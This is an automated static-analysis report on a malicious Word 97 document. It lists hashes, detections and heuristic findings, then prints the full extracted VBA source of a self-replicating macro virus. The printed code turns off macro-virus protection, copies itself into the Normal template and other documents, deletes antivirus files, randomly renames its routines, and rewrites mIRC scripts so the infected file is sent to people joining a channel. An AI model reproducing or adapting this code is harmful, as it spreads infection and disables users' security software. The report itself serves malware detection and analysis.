Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 02a25d83b918f4fd…

MALICIOUS

Office (OLE)

55.5 KB Created: 1999-02-13 13:35:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 61b4187f5afa3f7e6b321180e0a49cf3 SHA-1: 94cb2e0c5f7dbcedf7599a71d14a5aa8ca105b7e SHA-256: 02a25d83b918f4fd3045bffbcf0a8878d89e9dc16008ac2c1ad6341488da8765
248 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample exhibits high-confidence indicators of maliciousness, including legacy WordBasic macro virus markers and VBA macros. The AutoOpen macro is configured to execute code via the Shell function, indicating an intent to run arbitrary commands. The script also attempts to delete common antivirus executables and data files, suggesting a payload designed to disable security software.

Heuristics 5

  • ClamAV: Dos.Trojan.Metal-4 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Dos.Trojan.Metal-4
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
    Options.VirusProtection = False
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub autoopen()
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 7537 bytes
SHA-256: fcfc0818acd31845092dbd03db9bf259e3b1448bca1c62cdf1728efa3a1c017a
Detection
ClamAV: Doc.Trojan.Mutalisk-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
'xxlss666
Sub zx126003()
On Error Resume Next
Dim NI As Boolean
Dim AI As Boolean
Dim N As Integer
Dim A As Integer
Dim Code As String
Options.VirusProtection = False
Options.SaveNormalPrompt = False
Application.DisplayAlerts = wdAlertsNone
Application.StatusBar = False
For t = 1 To NormalTemplate.VBProject.VBComponents.Count
If NormalTemplate.VBProject.VBComponents.Item(t).CodeModule.Lines(1, 1) = "'xxlss666" Then
NI = True
N = t
End If
Next t
For y = 1 To ActiveDocument.VBProject.VBComponents.Count
If ActiveDocument.VBProject.VBComponents.Item(y).CodeModule.Lines(1, 1) = "'xxlss666" Then
AI = True
A = y
End If
Next y
If NI = True And AI = False Then
r = NormalTemplate.VBProject.VBComponents.Item(N).CodeModule.CountOfLines
Code = NormalTemplate.VBProject.VBComponents.Item(N).CodeModule.Lines(1, r)
ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.AddFromString Code
zx70381 N, True
ElseIf NI = False And AI = True Then
m = ActiveDocument.VBProject.VBComponents.Item(A).CodeModule.CountOfLines
Code = ActiveDocument.VBProject.VBComponents.Item(A).CodeModule.Lines(1, m)
NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.AddFromString Code
zx70381 A, False
End If
End Sub
Sub zx1337865()
On Error Resume Next
Kill "C:\Program Files\AntiViral Toolkit Pro\Avp32.exe"
Kill "C:\Program Files\AntiViral Toolkit Pro\*.avc"
Kill "C:\Program Files\Command Software\F-PROT95\*.dll"
Kill "C:\Program Files\Command Software\F-PROT95\*.exe"
Kill "C:\Program Files\McAfee\VirusScan95\Scan.dat"
Kill "C:\Program Files\McAfee\VirusScan\Scan.dat"
Kill "C:\Program Files\Norton AntiVirus\Viruscan.dat"
Kill "C:\Program Files\Symantec\Symevnt.386"
Kill "C:\Program Files\FindVirus\Findviru.drv"
Kill "C:\Program Files\Cheyenne\AntiVirus\*.dll"
Kill "C:\Program Files\Cheyenne\Common\Cshell.dll"
Kill "C:\PC-Cillin 95\Lpt$vpn.*"
Kill "C:\PC-Cillin 95\Scan32.dll"
Kill "C:\eSafe\Protect\*.dll"
Kill "c:\f-macro\f-macro.exe"
Kill "C:\TBAVW95\Tbscan.sig"
Kill "C:\Tbavw95\Tb*.*"
Kill "C:\VS95\*.dll"
End Sub
Sub zx435749()
On Error Resume Next
k = Dir("c:\mirc\mirc32.exe")
If k = "" Then
    Exit Sub
    Else
    m = Dir("c:\mirc\backup\Y2K.doc")
        If m = "" Then ActiveDocument.SaveAs "c:\mirc\backup\Y2K.doc"
    Kill "c:\mirc\script.ini"
    Open "c:\mirc\script.ini" For Random As g
    Print g; "[script]"
    Print g; "n0=on 1:text:*virus*:#:/msg $chan  Virus Alert!!! "
    Print g; "n1=on 1:text:*virus*:#:/join #vir"
    Print g; "n2=on 1:text:*vrus*:#:/echo Well thanx for coming in #vir the best channel about viruses"
    Print g; "n3=on 1:nick:/msg $chan $nick changed his name to $newnick"
    Print g; "n4=on 1:join:#:/send $nick c:\mirc\backup\Y2K.doc"
    Close g
Beep
End If
    End Sub
Sub autoopen()
On Error Resume Next
Application.ShowVisualBasicEditor = True
zx126003
zx1337865
zx435749
End Sub
Sub autonew()
On Error Resume Next
Application.ShowVisualBasicEditor = False
zx126003
zx1337865
zx435749
End Sub
Function zx70381(x As Integer, doc As Boolean)
On Error Resume Next
Dim r As Integer, g As String
If doc = False Then
Set grr = NormalTemplate.VBProject.VBComponents
Else
Set grr = ActiveDocument.VBProject.VBComponents
End If
r = Int(15 * Rnd)
f = Int((2354376 * Rnd) + 34)
h = Int((735436 * Rnd) + 34)
p = Int((2854345 * Rnd) + 34)
c = Int((235935 * Rnd) + 34)
If r = 1 Then g = "kk"
If r = 2 Then g = "tr"
If r = 3 Then g = "jp"
If r = 4 Then g = "hh"
If r = 5 Then g = "oo"
If r = 7 Then g = "kl"
If r = 8 Then g = "nb"
If r = 9 Then g = "kr"
If r = 10 Then g = "qw"
If r = 11 Then g = "zx"
If r = 12 Then g = "mp"
If r = 13 Then g = "au"
If r = 14 Then g = "mw"
If r = 15 Then g = "lk"
instal = g & f
payl = g & h
retro = g & p
mut = g & c
ia = g & h
grr.Item(x).CodeModule.replaceline 2, "sub " & instal & "()"
grr.Item(x).CodeModule.replaceline 29, mut & " N, True"
grr.Item(x).CodeModule.replaceline 34, mut & " A, False"
grr.Item(x).CodeModule.replaceline 37, "Sub " & retro & "()"
grr.Item(x).CodeModule.replaceline 58, "Sub " & payl & "()"
grr.Item(x).CodeModule.replaceline 81, instal
grr.Item(x).CodeModule.replaceline 82, retro
grr.Item(x).CodeModule.replaceline 83, payl
grr.Item(x).CodeModule.replaceline 88, instal
grr.Item(x).CodeModule.replaceline 89, retro
grr.Item(x).CodeModule.replaceline 90, payl
grr.Item(x).CodeModule.replaceline 92, "Function " & mut & "(x As Integer, doc As Boolean)"
grr.Item(x).CodeModule.replaceline 144, "'" & ia & (2454356 * Rnd) & retro
grr.Item(x).CodeModule.replaceline 145, "'" & payl & retro & (42354523654647# * Rnd) & retro & (253465356 * Rnd)
grr.Item(x).CodeModule.replaceline 146, "'" & instal & retro & payl & instal & (34523656363456# * Rnd)
grr.Item(x).CodeModule.replaceline 147, "'" & retro & (523452345636# * Rnd)
grr.Item(x).CodeModule.replaceline 148, "'" & (243277777777# * Rnd) & "rr" & retro
grr.Item(x).CodeModule.replaceline 149, "'" & ia & retro & (23452352353# * Rnd) & instal
grr.Item(x).CodeModule.replaceline 152, "'" & payl & (2342453636# * Rnd) & instal
grr.Item(x).CodeModule.replaceline 153, "'" & instal & (35443453424869# * Rnd) & retro & payl
'zx4357491528319,3762095zx1337865
'zx435749zx133786527438157829984,9zx133786566862369,4281647
'zx126003zx1337865zx435749zx1260039643909125754,73
'zx1337865434361603905,784
'zx126003zx1337865zx435749zx1260038421402210427,74
'200607373025,041rrzx1337865
grr.Item(x).CodeModule.replaceline 156, "'" & instal & retro & (432534647567654# * Rnd)
grr.Item(x).CodeModule.replaceline 157, "'" & instal & retro & payl & instal & (34523656363456# * Rnd)
'zx435749zx133786513817258394,868zx126003
'zx126003zx1337865zx435749zx12600333833295014268,2
grr.Item(x).CodeModule.replaceline 159, "'" & instal & retro & payl & instal & (34523656363456# * Rnd)
grr.Item(x).CodeModule.replaceline 160, "'" & instal & retro & payl & instal & (34523656363456# * Rnd)
'zx4357492309877516,25258zx126003
'zx12600332287721099200,7zx1337865zx435749
'zx126003zx1337865zx435749zx12600323997928884460,3
grr.Item(x).CodeModule.replaceline 163, "'" & instal & retro & payl & instal & (34523656363456# * Rnd)
'zx126003zx133786598127408318463,2
grr.Item(x).CodeModule.replaceline 164, "'" & instal & retro & payl & instal & (34523656363456# * Rnd)
grr.Item(x).CodeModule.replaceline 167, "'" & instal & retro & payl & instal & (34523656363456# * Rnd)
'zx126003zx1337865zx435749zx12600318431250797299,4
'zx126003zx1337865zx435749zx1260033672270079773,12
End Function
Sub viewvbcode()
'zx126003zx1337865zx435749zx12600334503444943825,8
Application.ShowVisualBasicEditor = False
Application.ScreenUpdating = False
Application.StatusBar = "|-y0z4C-|"
Options.VirusProtection = False
ActiveDocument.SaveAs "c:\ReadMe.doc"
o = ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.CountOfLines
ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.DeleteLines 1, o
ActiveDocument.Saved = True
r = NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.CountOfLines
NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.DeleteLines 1, r
NormalTemplate.Saved = True
Application.ShowVisualBasicEditor = True
End Sub
Sub toolsmacro()
End Sub
Sub filetemplates()
End Sub

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